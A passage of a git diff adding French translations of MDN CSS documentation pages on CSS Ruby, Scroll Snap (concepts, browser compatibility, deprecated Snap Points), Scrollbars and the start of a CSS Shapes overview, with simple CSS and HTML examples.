+<p>Un élément pour lequel <code>z-index</code> est plus grand qu'un autre sera toujours empilé « devant ».</p>
+
+<p>La propriété <code>z-index</code> ne fonctionne que pour les éléments dont la position est définie (c'est-à-dire les éléments pour lesquels la propriété {{cssxref("position")}} vaut <code>absolute</code>, <code>relative</code> ou <code>fixed</code>).</p>
diff --git a/files/fr/web/css/css_ruby/index.html b/files/fr/web/css/css_ruby/index.html
new file mode 100644
index 0000000000..cc9c44a3bb
--- /dev/null
+++ b/files/fr/web/css/css_ruby/index.html
@@ -0,0 +1,44 @@
+---
+title: CSS Ruby
+slug: Web/CSS/CSS_Ruby
+tags:
+  - Aperçu
+  - CSS
+  - CSS Ruby
+  - Reference
+  - Ruby
+translation_of: Web/CSS/CSS_Ruby
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>CSS Ruby Layout</strong></em> est un module CSS qui fournit des propriétés de contrôle pour le rendu et la mise en forme <a href="https://fr.wikipedia.org/wiki/Ruby_(linguistique)">des annotations Ruby</a> utilisées dans les documents d'Asie orientale afin d'indiquer la prononciation ou d'annoter le texte de base.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("ruby-align")}}</li>
+ <li>{{cssxref("ruby-position")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Ruby')}}</td>
+   <td>{{Spec2('CSS3 Ruby')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_scroll_snap/compatibilité_navigateurs/index.html b/files/fr/web/css/css_scroll_snap/compatibilité_navigateurs/index.html
new file mode 100644
index 0000000000..f5d6f97ca4
--- /dev/null
+++ b/files/fr/web/css/css_scroll_snap/compatibilité_navigateurs/index.html
@@ -0,0 +1,46 @@
+---
+title: Compatibilité des navigateurs et CSS Scroll Snap
+slug: Web/CSS/CSS_Scroll_Snap/Compatibilité_navigateurs
+tags:
+  - CSS
+  - CSS Scroll Snap
+  - Compatibilité
+  - Guide
+translation_of: Web/CSS/CSS_Scroll_Snap/Browser_compat
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Firefox implémentait initialement une première version de la spécification <em>Scroll Snap</em> appelée alors <em>Scroll Snap Points</em>. Avec Firefox 68, c'est la nouvelle version de la spécification qui est implémentée et les anciennes propriétés sont retirées.</p>
+
+<h2 class="summary" id="Que_faire_si_mon_style_utilisait_l'ancienne_implémentation_(Firefox_&lt;_68)">Que faire si mon style utilisait l'ancienne implémentation (Firefox &lt; 68) ?</h2>
+
+<p>Si vous avez uniquement ciblé l'ancienne implémentation de Firefox avec les propriétés définies par <em>Scroll Snap Points</em>, vous devriez mettre à jour votre code afin d'utiliser la nouvelle spécification. Ainsi, votre code fonctionnera dans l'ensemble des navigateurs qui implémente la spécification à jour, y compris Firefox. Si vous n'effectuez pas ces changements, les accroches de défilement ne fonctionneront plus à partir de Firefox 68.</p>
+
+<p>Voici les principaux points d'attention :</p>
+
+<ul>
+ <li>Les propriétés {{CSSxRef("scroll-snap-type-x")}} et {{CSSxRef("scroll-snap-type-y")}} ont été abandonnées</li>
+ <li>La propriété {{CSSxRef("scroll-snap-type")}} n'est plus une propriété raccourcie et l'ancienne syntaxe courte (ex. <code>scroll-snap-type: mandatory</code>) cessera de fonctionner</li>
+</ul>
+
+<h2 id="Comment_utiliser_l'ancienne_implémentation_comme_méthode_de_recours">Comment utiliser l'ancienne implémentation comme méthode de recours ?</h2>
+
+<p class="summary">Si vous utilisez déjà l'ancienne implémentation pour cibler les navigateurs plus anciens, vous pouvez continuer à l'utiliser de la façon décrite ci-après.</p>
+
+<p>Dans ce premier exemple, on utilise l'ancienne version de la spécification et la nouvelle afin de pouvoir utiliser les positions d'accroche quel que soit le navigateur tant que celui-ci prend en charge les accroches au défilement.</p>
+
+<p>L'exemple contient les propriétés {{CSSxRef("scroll-snap-points-y")}} et {{CSSxRef("scroll-snap-destination")}}, dépréciées, afin que les accroches fonctionnent dans Firefox. On ajoute également la propriété {{CSSxRef("scroll-snap-type")}} à deux reprises, une fois avec la valeur <code>y</code> (nouvelle version de la spécification) et une seconde fois pour Firefox qui prend en charge cette propriété mais pas la valeur <code>y</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/scroll-snap/mandatory-y-old-spec.html", '100%', 700)}}</p>
+
+<p>Si vous testez cet exemple attentivement, vous pourrez voir qu'il fonctionne dans plus de navigateurs, y compris ceux qui couvrent cette période intermédiaire. Les anciennes propriétés de la spécification sont documentées sur MDN sous la section <em><a href="/fr/docs/Web/CSS/CSS_Scroll_Snap_Points">Scroll Snap Points</a></em>.</p>
+
+<h2 id="Faut-il_utiliser_les_deux_spécifications">Faut-il utiliser les deux spécifications ?</h2>
+
+<p>Les points d'accroche au défilement font partie de ces fonctionnalités CSS sympathiques où l'absence de prise en charge signifie uniquement qu'on ne récupère la fonctionnalité avancée mais que le reste du site ou de l'application continue de fonctionner. Aussi, vous pouvez tout à fait choisir de traiter Firefox comme un navigateur qui ne prend pas en charge cette fonctionnalité et éviter la complexité associée à la gestion des deux configurations. Une fois que la nouvelle spécification sera implémentée, les utilisateurs en bénificieront au fur et à mesure.</p>
+
+<p>Si vous souhaitez tester la prise en charge grâce <a href="/en-US/docs/Web/CSS/@supports">aux requêtes de fonctionnalité</a>, nous vous recommandons de tester {{CSSxRef("scroll-snap-align")}} car cette propriété n'existait pas dans la première spécification. Toutefois, ces propriétés ne devraient causer aucun problème aux navigateurs qui ne les prennent pas en charge car ils les ignoreront simplement.</p>
+
+<h2 id="Pourquoi_existent_deux_versions">Pourquoi existent deux versions ?</h2>
+
+<p>Enfin, on peut se demander pourquoi une telle situation existe aujourd'hui. Ce n'est que la réalité du développement de CSS : les nouvelles fonctionnalités ne peuvent pas exister en pure théorie et en absence d'implémentation de la part des navigateurs. Lors de la phase d'implémentation, les navigateurs peuvent découvrir des problèmes qui n'apparaissent que dans des situations bien concrètes. Dans de tels cas, il faut alors mettre à jour la spécification et on peut alors avoir différentes versions de la spécification et différents navigateurs qui se mettent à jour au fur et à mesure.</p>
diff --git a/files/fr/web/css/css_scroll_snap/concepts_de_base/index.html b/files/fr/web/css/css_scroll_snap/concepts_de_base/index.html
new file mode 100644
index 0000000000..3ec397cfde
--- /dev/null
+++ b/files/fr/web/css/css_scroll_snap/concepts_de_base/index.html
@@ -0,0 +1,70 @@
+---
+title: Concepts de bases pour CSS Scroll Snap
+slug: Web/CSS/CSS_Scroll_Snap/Concepts_de_base
+tags:
+  - CSS
+  - CSS Scroll Snap
+  - Guide
+translation_of: Web/CSS/CSS_Scroll_Snap/Basic_concepts
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><a href="https://drafts.csswg.org/css-scroll-snap-1/">Le module de spécification CSS <em>Scroll Snap</em></a> fournit des outils pour « accrocher » sur certains points lors du défilement dans un document. Un tel comportement peut s'avérer utile pour obtenir un résultat analogue à certaines applications (qu'elles soient mobiles ou non).</p>
+
+<h2 id="Principes_fondamentaux">Principes fondamentaux</h2>
+
+<p>Les propriétés principales définies par la spécification <em>Scroll Snap</em> sont {{CSSxRef("scroll-snap-type")}} et {{CSSxRef("scroll-snap-align")}}. La propriété <code>scroll-snap-type</code> s'utilise sur <a href="/fr/docs/Glossary/Scroll_container">le conteneur de défilement (<em>scroll container</em>)</a> et établit le type et la direction du défilement.</p>
+
+<p>La propriété <code>scroll-snap-align</code> doit être utilisée sur les éléments fils afin de définir la position de défilement sur laquelle ils s'accrocheront. L'exemple qui suit illustre des positions d'accroche sur l'axe vertical et <code>scroll-snap-align</code> est utilisée sur l'élément {{HTMLElement("section")}} afin de définir le point où devrait s'arrêter le défilement.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/scroll-snap/mandatory-y.html", '100%', 700)}}</p>
+
+<h2 id="Utiliser_scroll-snap-type">Utiliser <code>scroll-snap-type</code></h2>
+
+<p>La propriété {{CSSxRef("scroll-snap-type")}} doit connaître la direction selon laquelle s'effectue le défilement et l'accroche. Cette direction peut s'exprimer avec des valeurs physiques : <code>x</code> ou <code>y</code> ou avec des valeurs logiques : <code>block</code> ou <code>inline</code>. On peut également utiliser le mot-clé <code>both</code> afin d'avoir un défilement et des accroches selon les deux axes.</p>
+
+<p>Cette propriété s'utilise également avec les mots-clés <code>mandatory</code> ou <code>proximity</code>. Le mot-clé <code>mandatory</code> indique au navigateur que le contenu <em>doit</em> s'accrocher à un point donné, quelle que soit la position du défilement. Le mot-clé <code>proximity</code> indique que le contenu <em>peut</em> s'accrocher sur un point mais que ce n'est pas obligatoire.</p>
+
+<p>La valeur <code>mandatory</code> permettra d'obtenir une expérience cohérente au sens où l'utilisateur saura que le navigateur accrochera le contenu à chaque point. Cela signifie qu'on peut être certain que quelque chose sera en haut de l'écran à la fin du défilement. Toutefois, cela peut entraîner des problèmes lorsqu'un portion du contenu est trop grande et qu'on obtient un scénario où il est impossible de défiler afin de voir une portion donnée du contenu. Ainsi, on utilisera <code>mandatory</code> dans des situations maîtrisées où la taille du contenu sur un écran est connue.</p>
+
+<p>La valeur <code>proximity</code> déclenchera une accroche lorsque la position du défilement est proche du point d'accroche. C'est le navigateur qui décidera de la distance seuil exacte pour laquelle déclencher l'accroche ou non. Dans l'exemple qui suit, vous pouvez passer de <code>mandatory</code> à <code>proximity</code> afin d'observer l'effet obtenu.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/scroll-snap/mandatory-proximity.html", '100%', 700)}}</p>
+
+<h2 id="Utiliser_scroll-snap-align">Utiliser <code>scroll-snap-align</code></h2>
+
+<p>La propriété {{CSSxRef("scroll-snap-align")}} peut être utilisée avec les valeurs <code>start</code>, <code>end</code> ou <code>center</code>. Ces valeurs indiquent l'emplacement où le contenu doit s'accrocher sur le conteneur de défilement. Vous pouvez modifier la valeur <code>scroll-snap-align</code> dans l'exemple interactif qui suit pour voir le résultat obtenu.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/scroll-snap/align.html", '100%', 700)}}</p>
+
+<h2 id="Ajuster_la_position_de_défilement_avec_un_remplissage">Ajuster la position de défilement avec un remplissage</h2>
+
+<p>Si on ne souhaite pas que le contenu s'accroche exactement sur le bord du conteneur de défilement, on pourra utiliser la propriété {{CSSxRef("scroll-padding")}} (ou les propriétés détaillées équivalentes) afin de définir un remplissage (<em>padding</em>) pour décaler la position du contenu.</p>
+
+<p>Dans l'exemple qui suit, on paramètre <code>scroll-padding</code> à 40 pixels. Lorsqu'on accroche au début de la deuxième et de la troisième section, le défilement s'arrête à 40 pixels du début de la section. Vous pouvez adapter la valeur de <code>scroll-padding</code> afin de voir l'impact sur le décalage obtenu.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/scroll-snap/scroll-padding.html", '100%', 700)}}</p>
+
+<p>Cette propriété s'avère particulièrement utile lorsqu'on a un élément fixe (une barre de navigation par exemple) qui pourrait être chevauchée par du contenu qui défile. En utilisant <code>scroll-padding</code>, on peut réserver un espace pour cet élément fixe. Dans l'exemple suivant, on peut voir le titre <code>&lt;h1&gt;</code> qui reste à l'écran et le contenu qui défile en dessous de ce titre. Sans le remplissage, le titre aurait été chevauché par une partie du contenu lors de l'accroche.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/scroll-snap/scroll-padding-sticky.html", '100%', 700)}}</p>
+
+<h2 id="Ajouter_des_marges_sur_les_éléments_fils_du_défilement">Ajouter des marges sur les éléments fils du défilement</h2>
+
+<p>Une autre méthode permettant d'obtenir un espace entre le bord du conteneur et les éléments fils est d'utiliser la propriété {{CSSxRef("scroll-margin")}} sur l'élément fils. <code>scroll-margin</code> définit principalement le décalage par rapport à la boîte définie. Vous pouvez manipuler cette propriété dans l'exemple interactif suivant :</p>
+
+<p>{{EmbedGHLiveSample("css-examples/scroll-snap/scroll-margin.html", '100%', 700)}}</p>
+
+<h2 id="La_propriété_scroll-snap-stop">La propriété <code>scroll-snap-stop</code></h2>
+
+<p>La propriété {{CSSxRef("scroll-snap-stop")}} indique au navigateur qu'il devrait arrêter le défilement pour chaque point d'accroche. Pour nos exemples précédents, cela signifie qu'on s'arrêtera nécessairement au début de chaque section. Cette propriété dispose de moins d'implémentations dans les navigateurs.</p>
+
+<p>Cela peut être utile pour s'assurer que les utilisateurs consultent chaque section sans louper du contenu par inadvertence. En revanche, cela peut rendre le défilement plus lent et ralentir considérablement un utilisateur qui chercherait une section donnée.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> La propriété <code>scroll-snap-stop</code> est actuellement mise en question dans la version <em>Candidate Recommendation</em> de la spécification et pourrait être retirée.</p>
+</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Les pages de chaque propriété détaillent la compatibilité des différents navigateurs. On notera qu'avant Firefox 68, une ancienne version de la spécification était implémentée. Vous pouvez <a href="/fr/docs/Web/CSS/CSS_Scroll_Snap/Browser_compat">poursuivre avec le guide suivant</a> pour en savoir plus sur l'écriture de code compatible entre les différents navigateurs qui implémentent différentes versions de la spécification.</p>
diff --git a/files/fr/web/css/css_scroll_snap/index.html b/files/fr/web/css/css_scroll_snap/index.html
new file mode 100644
index 0000000000..6e79f674df
--- /dev/null
+++ b/files/fr/web/css/css_scroll_snap/index.html
@@ -0,0 +1,84 @@
+---
+title: CSS Scroll Snap
+slug: Web/CSS/CSS_Scroll_Snap
+tags:
+  - CSS
+  - CSS Scroll Snap
+  - Reference
+  - Vue d'ensemble
+translation_of: Web/CSS/CSS_Scroll_Snap
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><em><strong>CSS Scroll Snap</strong></em> est un module de spécification CSS qui introduit les positions d'accroche lors du défilement. Cela permet de garantir la position sur laquelle on arrive après avoir fait défiler du contenu.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La version précédente ce module, <em>Scroll Snap Points</em>, est dépréciée et est désormais remplacée par <em>CSS Scroll Snap</em>.</p>
+</div>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_CSS_applicables_aux_conteneurs">Propriétés CSS applicables aux conteneurs</h3>
+
+<ul>
+ <li>{{cssxref("scroll-snap-type")}}</li>
+ <li>{{cssxref("scroll-snap-stop")}}</li>
+ <li>{{cssxref("scroll-padding")}}</li>
+ <li>{{cssxref("scroll-padding-top")}}</li>
+ <li>{{cssxref("scroll-padding-right")}}</li>
+ <li>{{cssxref("scroll-padding-bottom")}}</li>
+ <li>{{cssxref("scroll-padding-left")}}</li>
+ <li>{{cssxref("scroll-padding-inline")}}</li>
+ <li>{{cssxref("scroll-padding-inline-start")}}</li>
+ <li>{{cssxref("scroll-padding-inline-end")}}</li>
+ <li>{{cssxref("scroll-padding-block")}}</li>
+ <li>{{cssxref("scroll-padding-block-start")}}</li>
+ <li>{{cssxref("scroll-padding-block-end")}}</li>
+</ul>
+
+<h3 id="Propriétés_CSS_applicables_aux_éléments_enfants">Propriétés CSS applicables aux éléments enfants</h3>
+
+<ul>
+ <li>{{cssxref("scroll-snap-align")}}</li>
+ <li>{{cssxref("scroll-margin")}}</li>
+ <li>{{cssxref("scroll-margin-top")}}</li>
+ <li>{{cssxref("scroll-margin-right")}}</li>
+ <li>{{cssxref("scroll-margin-bottom")}}</li>
+ <li>{{cssxref("scroll-margin-left")}}</li>
+ <li>{{cssxref("scroll-margin-inline")}}</li>
+ <li>{{cssxref("scroll-margin-inline-start")}}</li>
+ <li>{{cssxref("scroll-margin-inline-end")}}</li>
+ <li>{{cssxref("scroll-margin-block")}}</li>
+ <li>{{cssxref("scroll-margin-block-start")}}</li>
+ <li>{{cssxref("scroll-margin-block-end")}}</li>
+</ul>
+
+<h2 id="Guides">Guides</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Scroll_Snap/Concepts_de_base">Concepts de bases pour <em>CSS Scroll Snap</em></a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Scroll_Snap/Compatibilit%C3%A9_navigateurs">Compatiblité des navigateurs et <em>CSS Scroll Snap</em></a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Les informations de compatibilité sont présentes sur chacune des pages des propriétés. <a href="/fr/docs/Web/CSS/CSS_Scroll_Snap/Compatibilit%C3%A9_navigateurs">Voir le guide sur la compatibilité des navigateurs</a> afin de comprendre comment les différentes versions de la spécification sont implémentées.</p>
diff --git a/files/fr/web/css/css_scroll_snap_points/index.html b/files/fr/web/css/css_scroll_snap_points/index.html
new file mode 100644
index 0000000000..8d728f0b0c
--- /dev/null
+++ b/files/fr/web/css/css_scroll_snap_points/index.html
@@ -0,0 +1,51 @@
+---
+title: CSS Scroll Snap Points
+slug: Web/CSS/CSS_Scroll_Snap_Points
+tags:
+  - Aperçu
+  - CSS
+  - CSS Scroll Snap Points
+  - Déprécié
+  - Reference
+translation_of: Web/CSS/CSS_Scroll_Snap_Points
+---
+<div>{{CSSRef}}{{deprecated_header}}</div>
+
+<p><em><strong>CSS Scroll Snap Points</strong></em> (ou <strong>points d'accroche CSS</strong>) est un module CSS qui introduit les positions d'accroche. Il définit les propriétés qui gèrent les « points d'accroche » utilisés lors du défilement des éléments.</p>
+
+<div class="note">
+<p><strong>Note :</strong> C'est désormais le module de spécification <a href="/fr/docs/Web/CSS/CSS_Scroll_Snap">CSS Scroll Snap</a> qui définit ces fonctionnalités.</p>
+</div>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("scroll-snap-coordinate")}}</li>
+ <li>{{cssxref("scroll-snap-destination")}}</li>
+ <li>{{cssxref("scroll-snap-points-x")}}</li>
+ <li>{{cssxref("scroll-snap-points-y")}}</li>
+ <li>{{cssxref("scroll-snap-type")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-snap-points-y", "scroll-snap-points-y")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_scrollbars/index.html b/files/fr/web/css/css_scrollbars/index.html
new file mode 100644
index 0000000000..ea3116d1e6
--- /dev/null
+++ b/files/fr/web/css/css_scrollbars/index.html
@@ -0,0 +1,93 @@
+---
+title: CSS Scrollbars
+slug: Web/CSS/CSS_Scrollbars
+tags:
+  - Aperçu
+  - CSS
+  - css scrollbars
+translation_of: Web/CSS/CSS_Scrollbars
+---
+<div>{{CSSRef}} {{SeeCompatTable}}</div>
+
+<p class="summary">Le module de spécification <em>CSS Scrollbars</em> standardise la mise en forme des barres de défilement (<em>scrollbar</em>) notamment introduite en 2000 avec Windows IE 5.5.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on crée une barre de défilement fine avec une piste verte et un curseur violet.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<div id="Example">
+<pre class="brush:css">.scroller {
+  width: 300px;
+  height: 100px;
+  overflow-y: scroll;
+  scrollbar-color: rebeccapurple green;
+  scrollbar-width: thin;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="scroller"&gt;Veggies es bonus vobis, proinde vos postulo essum magis kohlrabi welsh onion daikon amaranth tatsoi tomatillo melon azuki bean garlic. Gumbo beet greens corn soko endive gumbo gourd. Parsley shallot courgette tatsoi pea sprouts fava bean collard greens dandelion okra wakame tomato. Dandelion cucumber earthnut pea peanut soko zucchini.&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+</div>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("scrollbar-width")}}</li>
+ <li>{{cssxref("scrollbar-color")}}</li>
+</ul>
+</div>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Lors du paramétrage des barres de défilement, on s'assurera que le contraste avec les éléments alentour est suffisant et que la surface d'interaction est suffisamment grande pour les personnes qui utilisent une interface tactile.</p>
+
+<ul>
+ <li><a href="http://adrianroselli.com/2019/01/baseline-rules-for-scrollbar-usability.html">Règles de base pour l'utilisabilité des barres de défilement, par Adrian Roselli (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Scrollbars')}}</td>
+   <td>{{Spec2('CSS Scrollbars')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<h3 id="scrollbar-width">scrollbar-width</h3>
+
+<div>{{Compat("css.properties.scrollbar-width")}}</div>
+
+<h3 id="scrollbar-color">scrollbar-color</h3>
+
+<div>{{Compat("css.properties.scrollbar-color")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("::-webkit-scrollbar")}}</li>
+ <li>{{CSSxRef("-ms-overflow-style")}}</li>
+</ul>
diff --git a/files/fr/web/css/css_shapes/aperçu_formes_css/index.html b/files/fr/web/css/css_shapes/aperçu_formes_css/index.html
new file mode 100644
index 0000000000..bf8d674cf3
--- /dev/null
+++ b/files/fr/web/css/css_shapes/aperçu_formes_css/index.html
@@ -0,0 +1,125 @@
+---
+title: Aperçu des formes CSS
+slug: Web/CSS/CSS_Shapes/Aperçu_formes_CSS
+tags:
+  - Aperçu
+  - CSS
+  - CSS Shapes
+  - Formes CSS
+translation_of: Web/CSS/CSS_Shapes/Overview_of_CSS_Shapes
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">La spécification <a href="https://www.w3.org/TR/css-shapes/">CSS Shapes Level 1</a> définit les formes géométriques en CSS. Pour ce module de niveau 1, ces formes s'appliquent aux éléments qui utilisent une disposition flottante. Dans cet article, nous verrons un aperçu de ce qu'il est possible de faire avec les formes en CSS.</p>
+
+<p>Si on fait flotter un élément à gauche d'un texte, on verra le texte écrit autour de cet élément en suivant un contour rectangulaire. Si on applique une forme circulaire à cet élément, le texte suivra alors le contour du cercle.</p>
+
+<p>Il existe différentes façons de créer des formes CSS et nous verrons, dans ces guides, leur fonctionnement et les cas d'utilisation.</p>
+
+<h2 id="Que_définit_la_spécification">Que définit la spécification ?</h2>
+
+<p>La spécification définit trois nouvelles propriétés :</p>
+
+<ul>
+ <li>{{cssxref("shape-outside")}} qui permet de définir des formes simples</li>
+ <li>{{cssxref("shape-image-threshold")}} qui permet d'indiquer un seuil d'opacité. Si une image est utilisée afin de définir une forme, seuls les fragments de l'image qui sont d'une opacité supérieure ou égale à ce seuil seront utilisés afin de créer la forme. Les autres fragments de l'image sont ignorés.</li>
+ <li>{{cssxref("shape-margin")}} définit une marge autour d'une forme</li>
+</ul>
+
+<h2 id="Définir_des_formes_simples">Définir des formes simples</h2>
+
+<p>La propriété <code>shape-outside</code> permet de définir une forme. Cette propriété peut prendre différentes valeurs dont chacune définit une forme différente. Ces valeurs sont définies par le type de donnée {{cssxref("&lt;basic-shape&gt;")}}. Prenons un exemple simple pour commencer.</p>
+
+<p>Dans l'exemple qui suit, on a une image qui flotte à gauche. Ensuite, on lui applique <code>shape-outside</code> avec la valeur <code>circle(50%)</code>. Grâce à cette règle, le contenu épouse alors une forme circulaire plutôt que le rectangle qui était formé par la boîte de l'image.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/overview/circle.html", '100%', 720)}}</p>
+
+<p>À l'heure actuelle, la spécification indique qu'un élément doit flotter si on veut lui appliquer <code>&lt;basic-shape&gt;</code>. De cette façon, l'amélioration progressive est rapidement obtenue car si le navigateur ne prend pas en charge les formes CSS, l'utilisateur verra le contenu épouser une forme rectangulaire (comme auparavant). Si le navigateur prend en charge les formes, la disposition visuelle sera améliorée.</p>
+
+<h3 id="Formes_simples_(Basic_Shapes)">Formes simples (<em>Basic Shapes</em>)</h3>
+
+<p>La valeur <code>circle(50%)</code> est une exemple de forme simple. La spécification fournit quatre valeur de types <code>&lt;basic-shape&gt;</code> :</p>
+
+<ul>
+ <li><code>inset()</code></li>
+ <li><code>circle()</code></li>
+ <li><code>ellipse()</code></li>
+ <li><code>polygon()</code></li>
+</ul>
+
+<p>Avec la valeur <code>inset()</code>, le texte environnant continue d'épouser une forme rectangulaire mais on peut décaler ce rectangle afin de rapprocher le texte de l'objet flottant par exemple.</p>
+
+<p>Nous avons vu le fonctionnement de <code>circle()</code> dans l'exemple précédent : cette notation fonctionnelle permet de créer une forme circulaire. <code>ellipse()</code> est assez proche et permet de créer une ellipse (qu'on peut voir comme un cercle aplati). Si aucune de ces formes ne vous convient, vous pouvez utiliser <code>polygon()</code> afin de créer un polygone correspondant à une forme complexe.</p>
+
+<p>Dans <a href="/fr/docs/Web/CSS/CSS_Shapes/Formes_simples">le guide sur les formes simples</a>, nous verrons comment créer et exploiter ces formes.</p>
+
+<h3 id="Boîtes_de_référence">Boîtes de référence</h3>
+
+<p>Les formes sont créées sur une boîte donnée. Aussi, on peut créer une boîte par rapport à chacune des boîtes du <a href="/fr/docs/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_mod%C3%A8le_de_bo%C3%AEte">modèle de boîte</a> et utiliser les valeurs :</p>
+
+<ul>
+ <li><code>border-box</code></li>
+ <li><code>padding-box</code></li>
+ <li><code>content-box</code></li>
+ <li><code>margin-box</code></li>
+</ul>
+
+<p>Dans l'exemple qui suit, vous pouvez modifier la valeur <code>border-box</code> afin d'utiliser une autre valeur et observer comment se déplace la forme par rapport à la boîte.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/overview/box.html", '100%', 810)}}</p>
+
+<p>Pour en savoir plus, voir <a href="/fr/docs/Web/CSS/CSS_Shapes/Shapes_From_Box_Values">le guide sur les formes et les boîtes</a>.</p>
+
+<h3 id="Générer_une_forme_à_partir_d'une_image">Générer une forme à partir d'une image</h3>
+
+<p>Une autre méthode qui peut s'avérer utile consiste à générer une forme à partir d'une image et de son canal alpha :  le texte épousera alors la forme non-transparente de l'image. On peut alors avoir un texte qui « s'écoule » dans une image ou autour. Cette méthode permet aussi d'avoir une forme plus complexe sans avoir à recourir à un polygone (il n'est pas nécessaire que  l'image  soit visible).</p>
+
+<p>Attention, les images utilisées ainsi doivent être <a href="/en-US/docs/Web/HTTP/CORS">compatibles avec les règles CORS</a>. Se n'est pass le cas, <code>shape-outside</code> se comportera comme si elle avait reçu la valeur <code>none</code> et il n'y aura alors aucune forme.</p>
+
+<p>Dans l'exemple qui suit, on utilise une image avec une zone complètement transparente et on utilise une image comme valeur d'URL pour <code>shape-outside</code>. La forme ainsi créée utilise la zone opaque de l'image : la forme de la montgolfière.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/overview/image.html", '100%', 800)}}</p>
+
+<h4 id="shape-image-threshold"><code>shape-image-threshold</code></h4>
+
+<p>La propriété <code>shape-image-threshold</code> permet d'ajuster le seuil de transparence utilisé pour créer une forme à partir d'une image. Si la valeur de <code>shape-image-threshold</code> est <code>0.0</code> (la valeur initiale), ce seront les parties totalement transparentes de l'image qui créeront la forme. Si la valeur <code>1.0</code>, toutes les zones de l'image (y compris celles totalement opaques) seront utilisées pour la forme. Les valeurs intermédiaires permettent d'utiliser des zones partiellement transparentes pour définir la forme.</p>
+
+<p>Dans l'exemple suivant, on utilise une image qui est un dégradé et qui permet de définir la forme. Vous pouvez modifier la valeur du seuil afin de faire évoluer la forme.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/overview/threshold.html", '100%', 820)}}</p>
+
+<p>Dans l'article <a href="/fr/docs/Web/CSS/CSS_Shapes/Shapes_From_Images">Créer des formes à partir d'images</a>, nous verrons plus en détails le fonctionnement de ces propriétés.</p>
+
+<h2 id="La_propriété_shape-margin">La propriété <code>shape-margin</code></h2>
+
+<p>La propriété {{cssxref("shape-margin")}} ajoute une marge à <code>shape-outside</code>. Cela permet d'écarter le contenu de la forme.</p>
+
+<p>Dans l'exemple qui suit, on a une forme simple sur laquelle on ajoute <code>shape-margin</code>. Vous pouvez modifier la valeur de cette propriété afin de rapprocher ou d'éloigner le texte de la forme.</p>
+
